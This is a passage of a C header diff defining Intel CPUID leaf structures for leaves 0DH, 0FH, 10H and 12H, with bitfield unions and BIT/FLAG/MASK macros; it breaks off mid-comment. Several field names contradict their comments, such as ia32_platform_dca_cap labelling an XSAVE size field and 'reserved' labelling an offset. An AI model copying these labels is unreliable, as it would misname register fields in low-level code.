>> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 7:0] Used for XCR0. + */ + uint32_t used_for_xcr0_1 : 8; +#define CPUID_ECX_USED_FOR_XCR0_1_BIT 0 +#define CPUID_ECX_USED_FOR_XCR0_1_FLAG 0xFF +#define CPUID_ECX_USED_FOR_XCR0_1_MASK 0xFF +#define CPUID_ECX_USED_FOR_XCR0_1(_) (((_) >> 0) & 0xFF) + + /** + * [Bit 8] PT state. + */ + uint32_t pt_state : 1; +#define CPUID_ECX_PT_STATE_BIT 8 +#define CPUID_ECX_PT_STATE_FLAG 0x100 +#define CPUID_ECX_PT_STATE_MASK 0x01 +#define CPUID_ECX_PT_STATE(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Used for XCR0. + */ + uint32_t used_for_xcr0_2 : 1; +#define CPUID_ECX_USED_FOR_XCR0_2_BIT 9 +#define CPUID_ECX_USED_FOR_XCR0_2_FLAG 0x200 +#define CPUID_ECX_USED_FOR_XCR0_2_MASK 0x01 +#define CPUID_ECX_USED_FOR_XCR0_2(_) (((_) >> 9) & 0x01) + uint32_t reserved1 : 3; + + /** + * [Bit 13] HWP state. + */ + uint32_t hwp_state : 1; +#define CPUID_ECX_HWP_STATE_BIT 13 +#define CPUID_ECX_HWP_STATE_FLAG 0x2000 +#define CPUID_ECX_HWP_STATE_MASK 0x01 +#define CPUID_ECX_HWP_STATE(_) (((_) >> 13) & 0x01) + uint32_t reserved2 : 18; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0d_ecx_01; + +/** + * @brief Processor Extended State Enumeration Sub-leaves (EAX = 0DH, ECX = n, n > 1) + * + * @note Leaf 0DH output depends on the initial value in ECX. Each sub-leaf index (starting at position 2) is supported if + * it corresponds to a supported bit in either the XCR0 register or the IA32_XSS MSR. + * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf n (0 <= n <= 31) is invalid if sub-leaf 0 + * returns 0 in EAX[n] and sub-leaf 1 returns 0 in ECX[n]. Sub-leaf n (32 <= n <= 63) is invalid if sub-leaf 0 returns 0 in + * EDX[n-32] and sub-leaf 1 returns 0 in EDX[n-32]. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] The size in bytes (from the offset specified in EBX) of the save area for an extended state feature + * associated with a valid sub-leaf index, n. + */ + uint32_t ia32_platform_dca_cap : 32; +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] The offset in bytes of this extended state component's save area from the beginning of the XSAVE/XRSTOR + * area. + * This field reports 0 if the sub-leaf index, n, does not map to a valid bit in the XCR0 register. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] Is set if the bit n (corresponding to the sub-leaf index) is supported in the IA32_XSS MSR; it is clear if bit n + * is instead supported in XCR0. + */ + uint32_t ecx_2 : 1; +#define CPUID_ECX_ECX_2_BIT 0 +#define CPUID_ECX_ECX_2_FLAG 0x01 +#define CPUID_ECX_ECX_2_MASK 0x01 +#define CPUID_ECX_ECX_2(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Is set if, when the compacted format of an XSAVE area is used, this extended state component located on the next + * 64-byte boundary following the preceding state component (otherwise, it is located immediately following the preceding + * state component). + */ + uint32_t ecx_1 : 1; +#define CPUID_ECX_ECX_1_BIT 1 +#define CPUID_ECX_ECX_1_FLAG 0x02 +#define CPUID_ECX_ECX_1_MASK 0x01 +#define CPUID_ECX_ECX_1(_) (((_) >> 1) & 0x01) + uint32_t reserved1 : 30; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] This field reports 0 if the sub-leaf index, n, is invalid; otherwise it is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0d_ecx_n; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_0f \ + * EAX = 0x0F + * + * When CPUID executes with EAX set to 0FH and ECX = 0, the processor returns information about the bit-vector + * representation of QoS monitoring resource types that are supported in the processor and maximum range of RMID values the + * processor can use to monitor of any supported resource types. Each bit, starting from bit 1, corresponds to a specific + * resource type if the bit is set. The bit position corresponds to the sub-leaf index (or ResID) that software must use to + * query QoS monitoring capability available for that type. See Table 3-8. + * When CPUID executes with EAX set to 0FH and ECX = n (n >= 1, and is a valid ResID), the processor returns information + * software can use to program IA32_PQR_ASSOC, IA32_QM_EVTSEL MSRs before reading QoS data from the IA32_QM_CTR MSR. + * @{ + */ +#define CPUID_INTEL_RESOURCE_DIRECTOR_TECHNOLOGY_MONITORING_INFORMATION 0x0000000F + /** + * @brief Intel Resource Director Technology (Intel RDT) Monitoring Enumeration Sub-leaf (EAX = 0FH, ECX = 0) + * + * @note Leaf 0FH output depends on the initial value in ECX. Sub-leaf index 0 reports valid resource type starting at bit + * position 1 of EDX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Maximum range (zero-based) of RMID within this physical processor of all types. + */ + uint32_t rmid_max_range : 32; +#define CPUID_EBX_RMID_MAX_RANGE_BIT 0 +#define CPUID_EBX_RMID_MAX_RANGE_FLAG 0xFFFFFFFF +#define CPUID_EBX_RMID_MAX_RANGE_MASK 0xFFFFFFFF +#define CPUID_EBX_RMID_MAX_RANGE(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + uint32_t reserved1 : 1; + + /** + * [Bit 1] Supports L3 Cache Intel RDT Monitoring if 1. + */ + uint32_t supports_l3_cache_intel_rdt_monitoring : 1; +#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_BIT 1 +#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_FLAG 0x02 +#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_MASK 0x01 +#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING(_) (((_) >> 1) & 0x01) + uint32_t reserved2 : 30; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0f_ecx_00; + +/** + * @brief L3 Cache Intel RDT Monitoring Capability Enumeration Sub-leaf (EAX = 0FH, ECX = 1) + * + * @note Leaf 0FH output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Conversion factor from reported IA32_QM_CTR value to occupancy metric (bytes). + */ + uint32_t conversion_factor : 32; +#define CPUID_EBX_CONVERSION_FACTOR_BIT 0 +#define CPUID_EBX_CONVERSION_FACTOR_FLAG 0xFFFFFFFF +#define CPUID_EBX_CONVERSION_FACTOR_MASK 0xFFFFFFFF +#define CPUID_EBX_CONVERSION_FACTOR(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Maximum range (zero-based) of RMID within this physical processor of all types. + */ + uint32_t rmid_max_range : 32; +#define CPUID_ECX_RMID_MAX_RANGE_BIT 0 +#define CPUID_ECX_RMID_MAX_RANGE_FLAG 0xFFFFFFFF +#define CPUID_ECX_RMID_MAX_RANGE_MASK 0xFFFFFFFF +#define CPUID_ECX_RMID_MAX_RANGE(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bit 0] Supports L3 occupancy monitoring if 1. + */ + uint32_t supports_l3_occupancy_monitoring : 1; +#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_BIT 0 +#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_FLAG 0x01 +#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_MASK 0x01 +#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Supports L3 Total Bandwidth monitoring if 1. + */ + uint32_t supports_l3_total_bandwidth_monitoring : 1; +#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_BIT 1 +#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_FLAG 0x02 +#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_MASK 0x01 +#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports L3 Local Bandwidth monitoring if 1. + */ + uint32_t supports_l3_local_bandwidth_monitoring : 1; +#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_BIT 2 +#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_FLAG 0x04 +#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_MASK 0x01 +#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING(_) (((_) >> 2) & 0x01) + uint32_t reserved1 : 29; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0f_ecx_01; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_10 \ + * EAX = 0x10 + * + * When CPUID executes with EAX set to 10H and ECX = 0, the processor returns information about the bit-vector + * representation of QoS Enforcement resource types that are supported in the processor. Each bit, starting from bit 1, + * corresponds to a specific resource type if the bit is set. The bit position corresponds to the sub-leaf index (or ResID) + * that software must use to query QoS enforcement capability available for that type. + * When CPUID executes with EAX set to 10H and ECX = n (n >= 1, and is a valid ResID), the processor returns information + * about available classes of service and range of QoS mask MSRs that software can use to configure each class of services + * using capability bit masks in the QoS Mask registers, IA32_resourceType_Mask_n. + * @{ + */ +#define CPUID_INTEL_RESOURCE_DIRECTOR_TECHNOLOGY_ALLOCATION_INFORMATION 0x00000010 + /** + * @brief Intel Resource Director Technology (Intel RDT) Allocation Enumeration Sub-leaf (EAX = 10H, ECX = 0) + * + * @note Leaf 10H output depends on the initial value in ECX. Sub-leaf index 0 reports valid resource identification + * (ResID) starting at bit position 1 of EBX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Value of bits [31:0] of IA32_PLATFORM_DCA_CAP MSR (address 1F8H). + */ + uint32_t ia32_platform_dca_cap : 32; +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + uint32_t reserved1 : 1; + + /** + * [Bit 1] Supports L3 Cache Allocation Technology if 1. + */ + uint32_t supports_l3_cache_allocation_technology : 1; +#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_BIT 1 +#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_FLAG 0x02 +#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_MASK 0x01 +#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports L2 Cache Allocation Technology if 1. + */ + uint32_t supports_l2_cache_allocation_technology : 1; +#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_BIT 2 +#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_FLAG 0x04 +#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_MASK 0x01 +#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Supports Memory Bandwidth Allocation if 1. + */ + uint32_t supports_memory_bandwidth_allocation : 1; +#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_BIT 3 +#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_FLAG 0x08 +#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_MASK 0x01 +#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION(_) (((_) >> 3) & 0x01) + uint32_t reserved2 : 28; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_10_ecx_00; + +/** + * @brief L3 Cache Allocation Technology Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 1) + * + * @note Leaf 10H output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 4:0] Length of the capacity bit mask for the corresponding ResID using minus-one notation. + */ + uint32_t length_of_capacity_bit_mask : 5; +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_BIT 0 +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_FLAG 0x1F +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_MASK 0x1F +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK(_) (((_) >> 0) & 0x1F) + uint32_t reserved1 : 27; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Bit-granular map of isolation/contention of allocation units. + */ + uint32_t ebx_0 : 32; +#define CPUID_EBX_EBX_0_BIT 0 +#define CPUID_EBX_EBX_0_FLAG 0xFFFFFFFF +#define CPUID_EBX_EBX_0_MASK 0xFFFFFFFF +#define CPUID_EBX_EBX_0(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + uint32_t reserved1 : 2; + + /** + * [Bit 2] Code and Data Prioritization Technology supported if 1. + */ + uint32_t code_and_data_priorization_technology_supported : 1; +#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_BIT 2 +#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_FLAG 0x04 +#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_MASK 0x01 +#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED(_) (((_) >> 2) & 0x01) + uint32_t reserved2 : 29; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 15:0] Highest COS number supported for this ResID. + */ + uint32_t highest_cos_number_supported : 16; +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_10_ecx_01; + +/** + * @brief L2 Cache Allocation Technology Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 2) + * + * @note Leaf 10H output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 4:0] Length of the capacity bit mask for the corresponding ResID using minus-one notation. + */ + uint32_t length_of_capacity_bit_mask : 5; +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_BIT 0 +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_FLAG 0x1F +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_MASK 0x1F +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK(_) (((_) >> 0) & 0x1F) + uint32_t reserved1 : 27; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Bit-granular map of isolation/contention of allocation units. + */ + uint32_t ebx_0 : 32; +#define CPUID_EBX_EBX_0_BIT 0 +#define CPUID_EBX_EBX_0_FLAG 0xFFFFFFFF +#define CPUID_EBX_EBX_0_MASK 0xFFFFFFFF +#define CPUID_EBX_EBX_0(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 15:0] Highest COS number supported for this ResID. + */ + uint32_t highest_cos_number_supported : 16; +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_10_ecx_02; + +/** + * @brief Memory Bandwidth Allocation Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 3) + * + * @note Leaf 10H output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 11:0] Reports the maximum MBA throttling value supported for the corresponding ResID using minus-one notation. + */ + uint32_t max_mba_throttling_value : 12; +#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_BIT 0 +#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_FLAG 0xFFF +#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_MASK 0xFFF +#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE(_) (((_) >> 0) & 0xFFF) + uint32_t reserved1 : 20; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + uint32_t reserved1 : 2; + + /** + * [Bit 2] Reports whether the response of the delay values is linear. + */ + uint32_t response_of_delay_is_linear : 1; +#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_BIT 2 +#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_FLAG 0x04 +#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_MASK 0x01 +#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR(_) (((_) >> 2) & 0x01) + uint32_t reserved2 : 29; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 15:0] Highest COS number supported for this ResID. + */ + uint32_t highest_cos_number_supported : 16; +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_10_ecx_03; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_12 \ + * EAX = 0x12 + * + * When CPUID executes with EAX set to 12H and ECX = 0H, the processor returns information about Intel SGX capabilities. + * When CPUID executes with EAX set to 12H and ECX = 1H, the processor returns information about Intel SGX attributes. + * When CPUID executes with EAX set to 12H and ECX = n (n > 1), the processor returns information about Intel SGX Enclave + * Page Cache. + * @{ + */ +#define CPUID_INTEL_SGX 0x00000012 + /** + * @brief Intel SGX Capability Enumeration Leaf, sub-leaf 0 (EAX = 12H, ECX = 0) + * + * @note Leaf 12H sub-leaf 0 (ECX = 0) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bit 0] If 1, Indicates Intel SGX supports the collection of SGX1 leaf functions. + */ + uint32_t sgx1 : 1; +#define CPUID_EAX_SGX1_BIT 0 +#define CPUID_EAX_SGX1_FLAG 0x01 +#define CPUID_EAX_SGX1_MASK 0x01 +#define CPUID_EAX_SGX1(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] If 1, Indicates Intel SGX supports the collection of SGX2 leaf functions. + */ + uint32_t sgx2 : 1; +#define CPUID_EAX_SGX2_BIT 1 +#define CPUID_EAX_SGX2_FLAG 0x02 +#define CPUID_EAX_SGX2_MASK 0x01 +#define CPUID_EAX_SGX2(_) (((_) >> 1) & 0x01) + uint32_t reserved1 : 3; + + /** + * [Bit 5] If 1, indicates Intel SGX supports ENCLV instruction leaves EINCVIRTCHILD, EDECVIRTCHILD, and ESETCONTEXT. + */ + uint32_t sgx_enclv_advanced : 1; +#define CPUID_EAX_SGX_ENCLV_ADVANCED_BIT 5 +#define CPUID_EAX_SGX_ENCLV_ADVANCED_FLAG 0x20 +#define CPUID_EAX_SGX_ENCLV_ADVANCED_MASK 0x01 +#define CPUID_EAX_SGX_ENCLV_ADVANCED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] If 1, indicates Intel SGX supports ENCLS instruction leaves ETRACKC, ERDINFO, ELDBC, and ELDUC. + */ + uint32_t sgx_encls_advanced : 1; +#define CPUID_EAX_SGX_ENCLS_ADVANCED_BIT 6 +#define CPUID_EAX_SGX_ENCLS_ADVANCED_FLAG 0x40 +#define CPUID_EAX_SGX_ENCLS_ADVANCED_MASK 0x01 +#define CPUID_EAX_SGX_ENCLS_ADVANCED(_) (((_) >> 6) & 0x01) + uint32_t reserved2 : 25; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Bit vector of supported extended SGX features. + */ + uint32_t miscselect : 32; +#define CPUID_EBX_MISCSELECT_BIT 0 +#define CPUID_EBX_MISCSELECT_FLAG 0xFFFFFFFF +#define CPUID_EBX_MISCSELECT_MASK 0xFFFFFFFF +#define CPUID_EBX_MISCSELECT(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 7:0] The maximum supported enclave size in non-64-bit mode is 2^(EDX[7:0]). + */ + uint32_t max_enclave_size_not64 : 8; +#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_BIT 0 +#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_FLAG 0xFF +#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_MASK 0xFF +#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] The maximum supported enclave size in 64-bit mode is 2^(EDX[15:8]). + */ + uint32_t max_enclave_size_64 : 8; +#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_BIT 8 +#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_FLAG 0xFF00 +#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_MASK 0xFF +#define CPUID_EDX_MAX_ENCLAVE_SIZE_64(_) (((_) >> 8) & 0xFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_12_ecx_00; + +/** + * @brief Intel SGX Attributes Enumeration Leaf, sub-leaf 1 (EAX = 12H, ECX = 1) + * + * @note Leaf 12H sub-leaf 1 (ECX = 1) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[31:0] that software can set with ECREATE. + */ + uint32_t valid_secs_attributes_0 : 32; +#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_BIT 0 +#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_FLAG 0xFFFFFFFF +#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_MASK 0xFFFFFFFF +#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[63:32] that software can set with ECREATE. + */ + uint32_t valid_secs_attributes_1 : 32; +#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_BIT 0 +#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_FLAG 0xFFFFFFFF +#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_MASK 0xFFFFFFFF +#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[95:64] that software can set with ECREATE. + */ + uint32_t valid_secs_attributes_2 : 32; +#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_BIT 0 +#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_FLAG 0xFFFFFFFF +#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_MASK 0xFFFFFFFF +#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[127:96] that software can set with ECREATE. + */ + uint32_t valid_secs_attributes_3 : 32; +#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_BIT 0 +#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_FLAG 0xFFFFFFFF +#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_MASK 0xFFFFFFFF +#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_12_ecx_01; + +/** + * @brief Intel SGX EPC Enumeration 